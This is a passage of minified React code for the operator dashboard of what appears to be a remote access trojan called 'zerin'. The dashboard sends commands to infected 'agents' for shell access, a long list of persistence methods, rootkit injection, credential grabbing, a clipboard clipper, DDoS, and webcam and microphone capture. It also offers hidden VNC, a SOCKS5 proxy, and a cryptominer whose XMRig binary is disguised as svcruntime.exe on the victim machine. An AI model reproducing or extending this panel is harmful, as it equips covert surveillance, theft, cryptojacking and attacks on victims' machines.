disabled:opacity-40"}),a.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[a.jsx("span",{children:"10%"}),a.jsx("span",{children:"25%"}),a.jsx("span",{children:"50%"}),a.jsx("span",{children:"75%"}),a.jsx("span",{children:"100%"})]})]})]})]}),a.jsx("div",{className:"flex gap-3",children:b?a.jsxs("button",{onClick:N,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Mining"]}):a.jsxs("button",{onClick:j,disabled:v||d||!i.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-amber-600 hover:bg-amber-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),"Start Mining"]})}),a.jsx("div",{className:"bg-amber-500/5 border border-amber-500/15 px-4 py-3",children:a.jsxs("p",{className:"text-xs text-amber-400/80",children:["XMRig binary must be uploaded to ",a.jsx("span",{className:"font-mono",children:"%LOCALAPPDATA%\\Microsoft\\Runtime\\svcruntime.exe"})," on the target before starting the miner. Use the File Manager tab to upload it."]})})]})})}function Ca({label:e,value:t,valueClass:n}){return a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border px-3 py-2.5",children:[a.jsx("p",{className:"text-[10px] text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),a.jsx("p",{className:`text-sm font-mono font-medium ${n||"text-zerin-text"}`,children:t})]})}const Fb=["shell","powershell","execute","whoami","ps","kill","sysinfo","specs","windows","installed_apps","netstat","ifconfig","env","ls","cd","pwd","upload","download","delete","encrypt","decrypt","screenshot","persist_runkey","persist_schtask","persist_service","persist_startup","persist_logonscript","persist_screensaver","persist_ifeo","persist_bits","persist_com","persist_dllhijack","persist_wmi","persist_portmon","persist_ssp","reg_read","reg_write","rootkit_status","rootkit_inject","restart","shutdown","troll_msgbox","troll_tts","troll_website","troll_wallpaper","troll_taskbar","troll_cd_tray","chat","creds","clipper_start","clipper_stop","clipper_config","ddos_start","ddos_stop","miner_start","miner_stop","miner_status","sleep","exit","uninstall"],hV={queued:"bg-zinc-500/15 text-zinc-400",sent:"bg-zinc-400/10 text-zinc-400",completed:"bg-zinc-400/10 text-zinc-300",failed:"bg-zerin-danger-dim text-zerin-danger",timeout:"bg-zerin-panel-hover text-zerin-text-muted"},Am=["overview","screenshots","files","processes","windows","apps","system","troll","credentials","clipper","ddos","miner"];function xV(){const{id:e}=il(),t=xr(),[n,r]=Cx(),[i,s]=m.useState(null),[o,l]=m.useState([]),[c,u]=m.useState([]),[d,f]=m.useState(!0),[p,h]=m.useState(""),[x,g]=m.useState(""),[y,v]=m.useState(!1),[b,w]=m.useState(!1),[j,N]=m.useState(()=>{const $=n.get("tab");return $&&Am.includes($)?$:"overview"}),[k,z]=m.useState(()=>{const $=n.get("tab"),fe=new Set(["overview"]);return $&&Am.includes($)&&fe.add($),fe}),[S,O]=m.useState(null),[A,T]=m.useState(!0),[P,D]=m.useState(!1),[G,R]=m.useState(null),[K,_]=m.useState(new Set),[M,F]=m.useState(()=>n.get("auto")==="1"),[U,V]=m.useState(null),[Z,ae]=m.useState(-1),[ue,be]=m.useState(!1),ye=m.useRef(null);m.useEffect(()=>{z($=>{if($.has(j))return $;const fe=new Set($);return fe.add(j),fe})},[j]),m.useEffect(()=>{z(new Set(["overview"]))},[e]),m.useEffect(()=>{const $=n.get("tab");$&&Am.includes($)&&$!==j&&N($)},[n]);const q=$=>{N($),$==="overview"?n.delete("tab"):n.set("tab",$),r(n,{replace:!0})},te=m.useCallback(async()=>{if(e)try{const $=await ZE(e);s($),h("");try{const fe=await Xn(e);l(fe.tasks??[]),u(fe.results??[])}catch{l([]),u([])}}catch($){s(null);const fe=$ instanceof Error&&"status"in $?$.status:"network";h($ instanceof Error?`${$.message} (${fe})`:String($))}finally{f(!1)}},[e]);m.useEffect(()=>{te();const $=setInterval(te,5e3);return()=>clearInterval($)},[te]),m.useEffect(()=>{if(!e)return;let $=!0;const fe=async()=>{try{const H=await m6(e);$&&V(H)}catch{$&&V(null)}};fe();const ve=setInterval(fe,3e3);return()=>{$=!1,clearInterval(ve)}},[e]),m.useEffect(()=>{if(!S)return;const $=fe=>{fe.key==="Escape"&&O(null)};return window.addEventListener("keydown",$),()=>window.removeEventListener("keydown",$)},[S]);const C=m.useMemo(()=>[...o].sort(($,fe)=>new Date($.created_at).getTime()-new Date(fe.created_at).getTime()),[o]),Y=5e3,ne=m.useMemo(()=>{var fe;const $=[];for(const ve of C){const H=(fe=ve.args)!=null&&fe.length?" "+ve.args.join(" "):"";$.push({type:"command",content:`${ve.command}${H}`,timestamp:ve.created_at});const se=c.find(W=>W.task_id===ve.id);se?(se.error&&$.push({type:"error",content:se.error,timestamp:se.completed_at}),se.output&&$.push({type:"output",content:se.output,timestamp:se.completed_at})):ve.status==="queued"||ve.status==="sent"?$.push({type:"system",content:`[${ve.status==="queued"?"Queued":"Sent"} - awaiting result...]`}):ve.status==="timeout"&&$.push({type:"error",content:"[Task timed out]"})}if($.length>Y){const ve=$.slice($.length-Y);return ve.unshift({type:"system",content:`[Output truncated: showing last ${Y.toLocaleString()} of ${$.length.toLocaleString()} lines]`}),ve}return $},[C,c]),B=m.useMemo(()=>{const $=[];for(const fe of C){if(fe.command!=="screenshot")continue;const ve=c.find(H=>H.task_id===fe.id);if(ve!=null&&ve.data){const H=m_(ve.data)?f_(ve.data):`data:image/png;base64,${ve.data}`;$.push({taskId:fe.id,timestamp:ve.completed_at,dataUrl:H})}}return $},[C,c]),le=x?Fb.filter($=>$.startsWith(x.split(" ")[0])&&$!==x.split(" ")[0]):Fb;async function we($){var se;if($.preventDefault(),!e||!x.trim())return;const fe=x.trim().split(/\s+/),ve=fe[0],H=fe.slice(1);v(!0),w(!1);try{await Me(e,{command:ve,args:H}),g(""),R(null),setTimeout(te,500)}catch(W){R(`[SEND FAILED] ${W instanceof Error?W.message:"Unknown error"}`)}finally{v(!1),(se=ye.current)==null||se.focus()}}function Ne($){var fe;g($+" "),w(!1),(fe=ye.current)==null||fe.focus()}if(d)return a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"flex flex-col items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"}),a.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agent data..."})]})});if(!i)return a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),a.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Agent Not Found"}),p&&a.jsx("p",{className:"text-zerin-text-muted text-sm mb-2",children:p}),a.jsxs("p",{className:"text-zerin-text-muted text-xs font-mono mb-6",children:["ID: ",e]}),a.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-2 text-sm font-medium text-zerin-accent + hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-4 py-2 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back to Dashboard"]})]})});const Ae=i.hostname||"unknown";return a.jsxs("div",{className:"h-full flex flex-col animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-4 px-6 py-4 border-b border-zerin-panel-border bg-zerin-panel/40",children:[a.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-1.5 text-sm text-zerin-text-dim + hover:text-zerin-accent transition-colors px-2 py-1 + hover:bg-zerin-accent-muted`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back"]}),a.jsx("div",{className:"w-px h-6 bg-zerin-panel-border"}),a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:Ae}),a.jsx(xd,{status:i.status,size:"md",showLabel:!0}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:no(i.id)}),i.elevated&&a.jsx("span",{className:"bg-zerin-panel-hover text-zerin-text-dim px-2 py-0.5 text-xs font-medium",children:"ADMIN"}),i.status!=="dead"&&a.jsxs("div",{className:"ml-auto flex items-center gap-2",children:[a.jsxs("button",{onClick:async()=>{try{await Ex(i.id);const $=st(),fe=window.open(`/vnc/${i.id}`,`vnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(fe&&$){const ve=H=>{var se;((se=H.data)==null?void 0:se.type)==="zerin_auth_request"&&H.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:$},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})}),"VNC"]}),a.jsxs("button",{onClick:async()=>{try{await Pj(i.id);const $=st(),fe=window.open(`/vnc/${i.id}?mode=hvnc`,`hvnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(fe&&$){const ve=H=>{var se;((se=H.data)==null?void 0:se.type)==="zerin_auth_request"&&H.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:$},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.98 8.223A10.477 10.477 0 001.934 12C3.226 16.338 7.244 19.5 12 19.5c.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0112 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 01-4.293 5.774M6.228 6.228L3 3m3.228 3.228l3.65 3.65m7.894 7.894L21 21m-3.228-3.228l-3.65-3.65m0 0a3 3 0 10-4.243-4.243m4.242 4.242L9.88 9.88"})}),"hVNC"]}),a.jsxs("div",{className:"relative",children:[a.jsxs("button",{onClick:()=>be($=>!$),className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",d:"M15.75 10.5l4.72-4.72a.75.75 0 011.28.53v11.38a.75.75 0 01-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 002.25-2.25v-9a2.25 2.25 0 00-2.25-2.25h-9A2.25 2.25 0 002.25 7.5v9a2.25 2.25 0 002.25 2.25z"})}),"Webcam",a.jsx("svg",{className:"w-3 h-3 ml-0.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 8.25l-7.5 7.5-7.5-7.5"})})]}),ue&&a.jsxs("div",{className:"absolute top-full left-0 mt-1 z-50 bg-zerin-panel border border-zerin-border p-3 shadow-xl min-w-[200px]",style:{background:"#18181B",border:"1px solid #27272A"},children:[a.jsx("div",{className:"text-xs font-medium text-zerin-text-muted mb-2",children:"Device"}),a.jsxs("select",{value:Z,onChange:$=>ae(Number($.target.value)),className:"w-full bg-zerin-bg border border-zerin-border text-zerin-text text-sm px-2 py-1 mb-2",style:{background:"#09090B",border:"1px solid #27272A",color:"#FAFAFA"},children:[a.jsx("option",{value:-1,children:"Auto-detect"}),[0,1,2,3,4,5,6,7,8,9].map($=>a.jsxs("option",{value:$,children:["Camera ",$]},$))]}),a.jsx("button",{onClick:async()=>{be(!1);try{await Ej(i.id,Z);const $=st(),fe=window.open(`/webcam/${i.id}`,`webcam-${i.id}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(fe&&$){const ve=H=>{var se;((se=H.data)==null?void 0:se.type)==="zerin_auth_request"&&H.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:$},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:"w-full text-sm font-medium px-3 py-1.5 bg-zerin-accent text-black hover:bg-zerin-accent-hover transition-colors",children:"Start"})]})]}),a.jsxs("button",{onClick:async()=>{try{await _j(i.id);const $=st(),fe=window.open(`/mic/${i.id}`,`mic-${i.id}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(fe&&$){const ve=H=>{var se;((se=H.data)==null?void 0:se.type)==="zerin_auth_request"&&H.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:$},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})}),"Mic"]}),a.jsxs("button",{onClick:async()=>{try{await Me(i.id,{command:"screenshot"}),q("screenshots")}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.827 6.175A2.31 2.31 0 015.186 7.23c-.38.054-.757.112-1.134.175C2.999 7.58 2.25 8.507 2.25 9.574V18a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9.574c0-1.067-.75-1.994-1.802-2.169a47.865 47.865 0 00-1.134-.175 2.31 2.31 0 01-1.64-1.055l-.822-1.316a2.192 2.192 0 00-1.736-1.039 48.774 48.774 0 00-5.232 0 2.192 2.192 0 00-1.736 1.039l-.821 1.316z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 12.75a4.5 4.5 0 11-9 0 4.5 4.5 0 019 0z"})]}),"Screenshot"]}),a.jsxs("button",{onClick:()=>D(!0),className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),"Chat"]})]})]}),a.jsxs("div",{className:"flex-1 flex flex-col min-h-0 overflow-hidden",children:[a.jsxs("div",{className:"flex items-center gap-1 px-6 pt-4 pb-0",children:[a.jsx(Nn,{label:"Overview",active:j==="overview",onClick:()=>q("overview")}),a.jsx(Nn,{label:"Screenshots",active:j==="screenshots",onClick:()=>q("screenshots"),badge:B.length>0?B.length:void 0}),a.jsx(Nn,{label:"Files",active:j==="files",onClick:()=>q("files")}),a.jsx(Nn,{label:"Processes",active:j==="processes",onClick:()=>q("processes")}),a.jsx(Nn,{label:"Windows",active:j==="windows",onClick:()=>q("windows")}),a.jsx(Nn,{label:"Apps",active:j==="apps",onClick:()=>q("apps")}),a.jsx(Nn,{label:"System",active:j==="system",onClick:()=>q("system")}),a.jsx(Nn,{label:"Troll",active:j==="troll",onClick:()=>q("troll")}),a.jsx(Nn,{label:"Credentials",active:j==="credentials",onClick:()=>q("credentials")}),a.jsx(Nn,{label:"Clipper",active:j==="clipper",onClick:()=>q("clipper")}),a.jsx(Nn,{label:"DDoS",active:j==="ddos",onClick:()=>q("ddos")}),a.jsx(Nn,{label:"Miner",active:j==="miner",onClick:()=>q("miner")})]}),a.jsxs("div",{className:"flex-1 min-h-0 overflow-auto custom-scrollbar",children:[a.jsx("div",{style:{display:j==="overview"?void 0:"none"},children:a.jsxs("div",{className:"p-6 grid grid-cols-12 gap-6 animate-fade-in",children:[a.jsxs("div",{className:"col-span-12 lg:col-span-5 xl:col-span-4 space-y-4",children:[a.jsxs(Om,{title:"System",children:[a.jsx(an,{label:"Hostname",value:i.hostname}),a.jsx(an,{label:"Username",value:i.username}),a.jsx(an,{label:"OS",value:Io(i.os)}),a.jsx(an,{label:"Architecture",value:i.arch}),a.jsx(an,{label:"PID",value:String(i.pid),mono:!0}),a.jsx(an,{label:"Integrity",value:i.integrity}),a.jsx(an,{label:"Elevated",value:i.elevated?"Yes":"No",valueClass:i.elevated?"text-zerin-text font-medium":""})]}),a.jsxs(Om,{title:"Network",children:[a.jsx(an,{label:"Internal IP",value:i.internal_ip,mono:!0}),a.jsx(an,{label:"External IP",value:i.external_ip,mono:!0})]}),a.jsxs(Om,{title:"Timing",children:[a.jsx(an,{label:"Sleep / Jitter",value:Ij(i.sleep_interval,i.jitter),mono:!0}),a.jsx(an,{label:"First Seen",value:Lo(i.first_seen)}),a.jsx(an,{label:"Last Seen",value:eu(i.last_seen)}),a.jsx(an,{label:"Agent ID",value:no(i.id),mono:!0})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"SOCKS5 Proxy"}),a.jsx("span",{className:`inline-block w-2 h-2 rounded-full ${U!=null&&U.active?"bg-emerald-400":"bg-zinc-600"}`})]}),a.jsx("div",{className:"px-4 py-3",children:U!=null&&U.active?a.jsxs("div",{className:"space-y-2",children:[a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Bind"}),a.jsx("span",{className:"font-mono text-zerin-text",children:U.port?`127.0.0.1:${U.port}`:"-"})]}),a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Channels"}),a.jsx("span",{className:"font-mono text-zerin-text",children:U.channels})]}),a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Traffic"}),a.jsxs("span",{className:"font-mono text-zerin-text",children:[Mp(U.bytes_in)," in / ",Mp(U.bytes_out)," out"]})]}),a.jsx("button",{onClick:async()=>{try{await f6(i.id),V({active:!1,port:0,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full mt-1 px-3 py-1.5 text-xs font-medium text-zerin-danger bg-zerin-danger-dim hover:bg-zerin-danger/20 transition-colors",children:"Stop Proxy"})]}):a.jsxs("div",{className:"space-y-2",children:[a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"No active SOCKS5 session"}),i.status!=="dead"&&a.jsx("button",{onClick:async()=>{try{const $=await Aj(i.id);V({active:!0,port:$.port,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full px-3 py-1.5 text-xs font-medium text-zerin-accent bg-zerin-accent-muted hover:bg-zerin-accent/20 transition-colors",children:"Start Proxy"})]})})]})]}),a.jsx("div",{className:"col-span-12 lg:col-span-7 xl:col-span-8",children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"Task History"})}),a.jsx("div",{className:"overflow-x-auto",children:C.length===0?a.jsx("div",{className:"px-4 py-12 text-center",children:a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No tasks have been submitted yet."})}):a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Command"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Status"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Created At"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...C].reverse().map($=>{var ve;const fe=(ve=$.args)!=null&&ve.length?" "+$.args.join(" "):"";return a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsxs("td",{className:"px-4 py-2.5 font-mono text-zerin-text text-xs whitespace-nowrap",children:[$.command,fe]}),a.jsx("td",{className:"px-4 py-2.5",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-medium ${hV[$.status]??"bg-zerin-panel-hover text-zerin-text-muted"}`,children:$.status})}),a.jsx("td",{className:"px-4 py-2.5 text-zerin-text-dim text-xs whitespace-nowrap",children:Lo($.created_at)})]},$.id)})})]})})]})})]})}),k.has("files")&&a.jsx("div",{style:{display:j==="files"?void 0:"none"},children:a.jsx(QU,{agentId:i.id,agentStatus:i.status})}),k.has("processes")&&a.jsx("div",{style:{display:j==="processes"?void 0:"none"},children:a.jsx(JU,{agentId:i.id,agentStatus:i.status})}),k.has("windows")&&a.jsx("div",{style:{display:j==="windows"?void 0:"none"},children:a.jsx(eV,{agentId:i.id,agentStatus:i.status})}),k.has("apps")&&a.jsx("div",{style:{display:j==="apps"?void 0:"none"},children:a.jsx(tV,{agentId:i.id,agentStatus:i.status})}),k.has("system")&&a.jsx("div",{style:{display:j==="system"?void 0:"none"},children:a.jsx(nV,{agentId:i.id,agentStatus:i.status})}),k.has("troll")&&a.jsx("div",{style:{display:j==="troll"?void 0:"none"},children:a.jsx(iV,{agentId:i.id})}),k.has("credentials")&&a.jsx("div",{style:{display:j==="credentials"?void 0:"none"},children:a.jsx(uV,{agentId:i.id,agentStatus:i.status,autoGrab:M,onAutoGrabConsumed:()=>{F(!1),n.delete("auto"),r(n,{replace:!0})}})}),k.has("clipper")&&a.jsx("div",{style:{display:j==="clipper"?void 0:"none"},children:a.jsx(mV,{agentId:i.id,agentStatus:i.status})}),k.has("ddos")&&a.jsx("div",{style:{display:j==="ddos"?void 0:"none"},children:a.jsx(lS,{agentIds:[i.id],agentStatus:i.status})}),k.has("miner")&&a.jsx("div",{style:{display:j==="miner"?void 0:"none"},children:a.jsx(pV,{agentId:i.id,agentStatus:i.status})}),k.has("screenshots")&&a.jsx("div",{style:{display:j==="screenshots"?void 0:"none"},children:a.jsx("div",{className:"p-6 animate-fade-in",children:B.length===0?a.jsx("div",{className:"flex items-center justify-center py-20",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909M3.75 21h16.5A2.25 2.25 0 0022.5 18.75V5.25A2.25 2.25 0 0020.25 3H3.75A2.25 2.25 0 001.5 5.25v13.5A2.25 2.25 0 003.75 21z"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"No Screenshots"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Run the ",a.jsx("span",{className:"font-mono text-zerin-accent",children:"screenshot"})," command to capture the agent display."]})]})}):a.jsx("div",{className:"grid grid-cols-2 xl:grid-cols-3 2xl:grid-cols-4 gap-4",children:B.map($=>a.jsxs("button",{onClick:()=>O($.dataUrl),className:`group bg-zerin-panel border border-zerin-panel-border + hover:border-zerin-panel-border-hover transition-all overflow-hidden text-left`,children:[a.jsx("div",{className:"aspect-video bg-zerin-bg overflow-hidden flex items-center justify-center",children:K.has($.dataUrl)?a.jsx("span",{className:"text-zerin-text-muted text-xs",children:"Failed to decode"}):a.jsx("img",{src:$.dataUrl,alt:`Screenshot ${no($.taskId)}`,className:`w-full h-full object-cover opacity-90 + group-hover:opacity-100 group-hover:scale-[1.02] transition-all duration-200`,loading:"lazy",onError:()=>_(fe=>new Set(fe).add($.dataUrl))})}),a.jsx("div",{className:"px-3 py-2 border-t border-zerin-panel-border",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted",children:no($.taskId)}),a.jsx("span",{className:"text-xs text-zerin-text-muted",children:eu($.timestamp)})]})})]},$.taskId))})})})]}),a.jsxs("div",{className:"flex-shrink-0 border-t border-zerin-panel-border bg-zerin-panel",children:[a.jsxs("button",{onClick:()=>T($=>!$),className:`w-full flex items-center gap-2 px-4 py-2 text-xs text-zerin-text-dim + hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors select-none`,children:[a.jsx("svg",{className:`w-3.5 h-3.5 transition-transform duration-200 ${A?"rotate-180":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}),a.jsx("span",{className:"font-medium",children:"Terminal"}),i.status==="dead"&&a.jsx("span",{className:"text-zerin-danger text-[10px] font-medium ml-1",children:"(offline)"})]}),A&&a.jsx("div",{className:"animate-slide-up-panel",style:{height:180},children:a.jsxs("div",{className:"h-full flex flex-col border-t border-zerin-panel-border",children:[a.jsx(ZU,{lines:ne,className:"flex-1 border-0"}),a.jsxs("div",{className:"relative border-t border-zerin-panel-border bg-zerin-panel px-4 py-2.5",children:[b&&le.length>0&&a.jsx("div",{className:`absolute bottom-full left-0 right-0 mb-0 + bg-zerin-panel border border-zerin-panel-border + z-10 max-h-48 overflow-y-auto custom-scrollbar`,children:a.jsxs("div",{className:"p-2",children:[a.jsx("div",{className:"text-[10px] text-zerin-text-muted font-medium mb-1.5 px-1 uppercase tracking-wider",children:"Commands"}),a.jsx("div",{className:"flex flex-wrap gap-1",children:le.map($=>a.jsx("button",{onClick:()=>Ne($),className:`px-2.5 py-1 text-xs font-mono + bg-zerin-bg text-zerin-text-dim + border border-zerin-panel-border + hover:text-zerin-accent hover:border-zerin-accent/40 + hover:bg-zerin-accent-muted transition-colors`,children:$},$))})]})}),G&&a.jsx("div",{className:"text-zerin-danger text-xs font-mono mb-1.5 px-1",children:G}),a.jsxs("form",{onSubmit:we,className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-zerin-accent font-mono text-sm select-none 